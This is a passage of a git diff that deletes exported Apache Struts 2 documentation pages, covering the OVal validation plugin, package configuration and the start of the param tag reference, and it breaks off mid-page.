-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">OVal Plugin</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=114997">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=114997">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=114997">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=114997">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=114997">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=114997">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="OValPlugin-Overview">Overview</h2>
-
-<p><a shape="rect" class="external-link" href="http://oval.sourceforge.net/" rel="nofollow">OVal</a> is a pragmatic and extensible validation framework for any kind of Java objects (not only JavaBeans). Constraints can be declared with annotations (@NotNull, @MaxLength), POJOs or XML.Custom constraints can be expressed as custom Java classes or by using scripting languages such as JavaScript, Groovy, BeanShell, OGNL or MVEL.</p>
-
-<p>The OVal plugin provides support for using the <a shape="rect" class="external-link" href="http://oval.sourceforge.net/" rel="nofollow">OVal Validation Framework</a></p>
-
-<h2 id="OValPlugin-Interceptors">Interceptors</h2>
-
-<p>The plugin defines the interceptor "ovalValidation" and the interceptor stack "ovalValidationStack" in the "oval-default" package. To use this interceptor, extend the "oval-default" package and apply the interceptor to your action, like:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;struts&gt;
-   &lt;package namespace="/myactions" name="myactions" extends="oval-default"&gt;
-        &lt;action name="simpleFieldsXMLChild" class="org.apache.struts2.interceptor.SimpleFieldsXMLChild"&gt;
-            &lt;interceptor-ref name="ovalValidationStack"/&gt;
-            &lt;result type="void"&gt;&lt;/result&gt;
-        &lt;/action&gt;
-   &lt;/package&gt;
-&lt;/struts&gt;
-</pre>
-</div></div>
-
-<h2 id="OValPlugin-Annotations">Annotations</h2>
-
-<p>OVal provides many annotations for validations that can be used out of the box (custom validators can also be defined). Once the "ovalValidation" interceptor is applied to an action, you can annotate it:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class SimpleField extends ActionSupport{
-    @NotNull()
-    @NotEmpty
-    @Length(max = 3)
-    private String name;
-...
-}
-</pre>
-</div></div>
-
-<p>Use the @AssertValid annotation to validate nested objects, like</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class MemberObject extends ActionSupport {
-    @AssertValid
-    private Person person = new Person();
-
-    public Person getPerson() {
-        return person;
-    }
-}
-</pre>
-</div></div>
-
-<h2 id="OValPlugin-XMLConfiguration">XML Configuration</h2>
-
-<p>OVal provides support for defining the validation via XML. Validation files must end in "-validation.xml" and the rules to find them, are the same rules used to find the validation XML files used by the regular validation mechanisms (default validation in xwork):</p>
-
-<ol><li>Per Action class: in a file named ActionName-validation.xml</li><li>Per Action alias: in a file named ActionName-alias-validation.xml</li><li>Inheritance hierarchy and interfaces implemented by Action class: The plugin searches up the inheritance tree of the action to find default validations for parent classes of the Action and interfaces implemented</li></ol>
-
-
-<p>Here is an example of an XML validation file:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-&lt;oval xmlns="http://oval.sf.net/oval-configuration" xmlns:xsi="http://http://www.w3.org/2001/XMLSchema-instance"
- xsi:schemaLocation="http://oval.sf.net/oval-configuration http://oval.sourceforge.net/oval-configuration-1.3.xsd"&gt;
-    &lt;class type="org.apache.struts2.interceptor.SimpleFieldsXML" overwrite="false"
-           applyFieldConstraintsToSetters="true"&gt;
-        &lt;field name="firstName"&gt;
-            &lt;notNull/&gt;
-        &lt;/field&gt;
-    &lt;/class&gt;
-&lt;/oval&gt;
-</pre>
-</div></div>
-
-<h2 id="OValPlugin-Profiles">Profiles</h2>
-
-<p>A profile is a set of validations, that can be enabled for a method in an action, for example:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-import org.apache.struts2.validation.Profiles;
-
-public class FieldsWithProfiles extends ActionSupport {
-    @NotNull(profiles = "1")
-    private String firstName;
-
-    @NotNull(profiles = "2")
-    private String middleName;
-
-    @NotNull(profiles = "3")
-    private String lastName;
-
-    @Profiles({"1", "3"})
-    public String firstAndLast() {
-        return SUCCESS;
-    }
-
-    @Profiles({"2"})
-    public void middle() {
-        return SUCCESS;
-    }
-}
-</pre>
-</div></div>
-
-<p>In this example, when <em>firstAndLast()</em> is executed, the fields <em>firstName</em> and <em>lastName</em> will be validated. When <em>middle()</em> is executed, only <em>middleName</em> will be validated. When a method is annotated with the <em>Profiles</em> annotation, only the validations in the specified profiles will be performed. If no profile is specified for an action method, all the validations in the class will be evaluated.</p>
-
-<h2 id="OValPlugin-Internationalizationofmessages">Internationalization of messages</h2>
-
-<p>The OVal annotations (and corresponding XML tags) have a <em>message</em> attribute that can be used to specify either the error message, or the key of the error message. If a key is found in a property file, matching the value of the <em>massage</em> attribute, it will be used as the message, otherwise the value will be used as a literal string. For example, given this property file:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>BookAction.properties</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-notnull.field=${field.name} cannot be null
-
-field.too.long=${field.name} value is too long, allowed length is ${max}
-</pre>
-</div></div>
-
-<p>and this class:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>BookAction.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class BookActionextends ActionSupport {
-    @NotNull(message = "notnull.field")
-    @Length(max = 3, message = "field.too.long")
-    private String title;
-
-    @NotNull(message = "You must enter a valid ISBN")
-    private String isbn;
-...
-}
-</pre>
-</div></div>
-
-<p>When that action is validated, the field errors would be:</p>
-<ul><li>"title cannot be null"</li><li>"You must enter a valid ISBN"</li><li>"title value is too long, allowed length is 3"</li></ul>
-
-
-<p>The current OVal "context" object is pushed into the stack for each validator, so it can be accessed from the property file to build the error message. See the <a shape="rect" class="external-link" href="http://oval.sourceforge.net/api/net/sf/oval/context/FieldContext.html" rel="nofollow">OVal javadoc</a> for more properties available in the FieldContext class.</p>
-
-<h2 id="OValPlugin-TheOValValidationInterceptor">The OVal Validation Interceptor</h2>
-
-<p>This interceptor runs the action through the standard validation framework, which in turn checks the action against any validation rules (found in files such as ActionClass-validation.xml) and adds field-level and action-level error messages (provided that the action implements com.opensymphony.xwork2.ValidationAware). This interceptor is often one of the last (or second to last) interceptors applied in a stack, as it assumes that all values have already been set on the action.</p>
-
-<p>This interceptor does nothing if the name of the method being invoked is specified in the <em>excludeMethods</em> parameter. <em>excludeMethods</em> accepts a comma-delimited list of method names. For example, requests to foo!input.action and foo!back.action will be skipped by this interceptor if you set the excludeMethods parameter to "input, back".</p>
-
-<p>Note that this has nothing to do with the com.opensymphony.xwork2.Validateable interface and simply adds error messages to the action. The workflow of the action request does not change due to this interceptor. Rather, this interceptor is often used in conjuction with the workflow interceptor.</p>
-
-<p>NOTE: As this method extends off MethodFilterInterceptor, it is capable of deciding if it is applicable only to selective methods in the action class. See MethodFilterInterceptor for more info.</p>
-
-<p>The param <em>alwaysInvokeValidate</em> (default to <em>true</em>), will make the interceptor invoke <em>validate()</em> on the action, if the action implements <em>Validateable</em>.</p>
-
-<p>The param <em>programmatic</em> (defaults to <em>true</em>), will make the plugin call <em>validateX()</em> where <em>X</em> is the name of the method that will be invoked in the action. If this param is set to <em>false</em>, <em>alwaysInvokeValidate</em> is ignored and <em>validate()</em> won't be invoked.</p>
-
-<h2 id="OValPlugin-Installation">Installation</h2>
-
-<p>The jar plugin needs to be added to the lib directory of your application as well as other dependencies. If you are using XML validation, XStream needs to be included. Here is the maven dependency example:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;dependency&gt;
-    &lt;groupId&gt;com.thoughtworks.xstream&lt;/groupId&gt;
-    &lt;artifactId&gt;xstream&lt;/artifactId&gt;
-    &lt;version&gt;1.3.1&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div>
-
-<h1 id="OValPlugin-Configurationreference">Configuration reference</h1>
-
-<p>Add a <em>constant</em> element to your struts config file to change the value of a configuration setting, like:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
- &lt;constant name="struts.oval.validateJPAAnnotations" value="true" /&gt;
-</pre>
-</div></div>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Name </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Default Value </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Description </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> struts.oval.validateJPAAnnotations </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> false </p></td><td colspan="1" rowspan="1" class=" [...]
-
-
-<h2 id="OValPlugin-Resources">Resources</h2>
-
-<ul><li><a shape="rect" class="external-link" href="http://oval.sourceforge.net/userguide.html" rel="nofollow">OVal User Guide</a></li><li><a shape="rect" class="external-link" href="http://oval.sourceforge.net/userguide.html" rel="nofollow">OVal Javadoc</a></li><li><a shape="rect" class="external-link" href="http://oval.sourceforge.net/userguide.html#d0e1138" rel="nofollow">OVal Tutorials</a></li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/package-configuration.html b/content/docs/package-configuration.html
deleted file mode 100644
index bd64aac..0000000
--- a/content/docs/package-configuration.html
+++ /dev/null
@@ -1,216 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Package Configuration</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="configuration-elements.html">Configuration Elements</a>&nbsp;&gt;&nbsp;<a href="package-configuration.html">Package Configuration</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Package Configuration</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14050">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14050">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14050">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14050">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14050">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14050">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Packages are a way to group actions, results, result types, interceptors, and interceptor-stacks into a logical configuration unit. Conceptually, packages are similiar to objects in that they can be extended and have individual parts that can be overridden by "sub" packages.</p>
-
-<h2 id="PackageConfiguration-Packages">Packages</h2>
-
-<p>The package element has one required attribute, <code>name</code>, which acts as the key for later reference to the package. The <code>extends</code> attribute is optional and allows one package to inherit the configuration of one or more previous packages - including all interceptor, interceptor-stack, and action configurations.</p>
-
-<p><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)"> Note that the configuration file is processed sequentially down the document, so the package referenced by an "extends" should be defined <em>above</em> the package which extends it.</p>
-
-<p>The optional <code>abstract</code> attribute creates a base package that can omit the action configuration.</p>
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Attribute </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Required </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Description </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> name </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> <strong>yes</strong> </p></td><td colspan="1" rowspan="1" class="confluenceTd">< [...]
-
-
-<h3 id="PackageConfiguration-Simpleusage">Simple usage </h3>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Package Example (struts.xml)</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;struts&gt;
-  &lt;package name="employee" extends="struts-default" namespace="/employee"&gt;
-    &lt;default-interceptor-ref name="crudStack"/&gt;
-
-    &lt;action name="list" method="list"
-      class="org.apache.struts2.showcase.action.EmployeeAction" &gt;
-        &lt;result&gt;/empmanager/listEmployees.jsp&lt;/result&gt;
-        &lt;interceptor-ref name="basicStack"/&gt;
-    &lt;/action&gt;
-    &lt;action name="edit-*" class="org.apache.struts2.showcase.action.EmployeeAction"&gt;
-      &lt;param name="empId"&gt;{1}&lt;/param&gt;
-      &lt;result&gt;/empmanager/editEmployee.jsp&lt;/result&gt;
-        &lt;interceptor-ref name="crudStack"&gt;
-          &lt;param name="validation.excludeMethods"&gt;execute&lt;/param&gt;
-        &lt;/interceptor-ref&gt;
-      &lt;/action&gt;
-      &lt;action name="save" method="save"
-          class="org.apache.struts2.showcase.action.EmployeeAction" &gt;
-        &lt;result name="input"&gt;/empmanager/editEmployee.jsp&lt;/result&gt;
-        &lt;result type="redirect"&gt;edit-${currentEmployee.empId}.action&lt;/result&gt;
-      &lt;/action&gt;
-      &lt;action name="delete" method="delete"
-        class="org.apache.struts2.showcase.action.EmployeeAction" &gt;
-        &lt;result name="error"&gt;/empmanager/editEmployee.jsp&lt;/result&gt;
-        &lt;result type="redirect"&gt;edit-${currentEmployee.empId}.action&lt;/result&gt;
-      &lt;/action&gt;
-  &lt;/package&gt;
-&lt;/struts&gt;
-</pre>
-</div></div>
-
-<h3 id="PackageConfiguration-Inheritfrommorethanonepackage">Inherit from more than one package</h3>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Multi package Example (struts.xml)</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;struts&gt;
-  &lt;package name="employee" extends="struts-default, json-default" namespace="/employee"&gt;
-
-    &lt;action name="list" method="list" class="org.apache.struts2.showcase.action.EmployeeAction" &gt;
-        &lt;result&gt;/empmanager/listEmployees.jsp&lt;/result&gt;
-        &lt;result type="json"&gt;
-            &lt;param name="root"&gt;employees&lt;/param&gt;
-        &lt;/result&gt;
-    &lt;/action&gt;
-
-  &lt;/package&gt;
-&lt;/struts&gt;
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/param.html b/content/docs/param.html
deleted file mode 100644
index cb12018..0000000
--- a/content/docs/param.html
+++ /dev/null
@@ -1,214 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>param</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="generic-tag-reference.html">Generic Tag Reference</a>&nbsp;&gt;&nbsp;<a href="param.html">param</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">param</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13825">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13825">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13825">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13825">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13825">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13825">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-
-<h1 id="param-Description">Description</h1>
-
-<p></p><p>This tag can be used to parameterize other tags.<br clear="none">
-The include tag and bean tag are examples of such tags.
-</p>
-
-<p></p><p>
-The parameters can be added with or without a name as key.
-If the tag provides a name attribute the parameters are added using the
-{@link Component#addParameter(String, Object) addParamter} method.
-For unnamed parameters the Tag must implement the UnnamedParametric interface defined in
-this class (e.g. The TextTag does this).
-</p>
-
-<p></p><p>
-This tag has the following two paramters.
-</p>
-<ul><li>name (String) - the name of the parameter</li><li>value (Object) - the value of the parameter</li><li>suppressEmptyParameters (boolean) - whether to suppress this parameter if empty</li></ul>
-<p>
-<b>Note:</b>
-When you declare the param tag, the value can be defined in either a <tt>value</tt> attribute or
-as text between the start and end tag. Struts behaves a bit different according to these two situations.
-This is best illustrated using an example:
-<br clear="none">&lt;param name="color"&gt;blue&lt;/param&gt; &lt;-- (A) --&gt;
-<br clear="none">&lt;param name="color" value="blue"/&gt; &lt;-- (B) --&gt;
-<br clear="none">In the first situation (A) the value would be evaluated to the stack as a <tt>java.lang.String</tt> object.
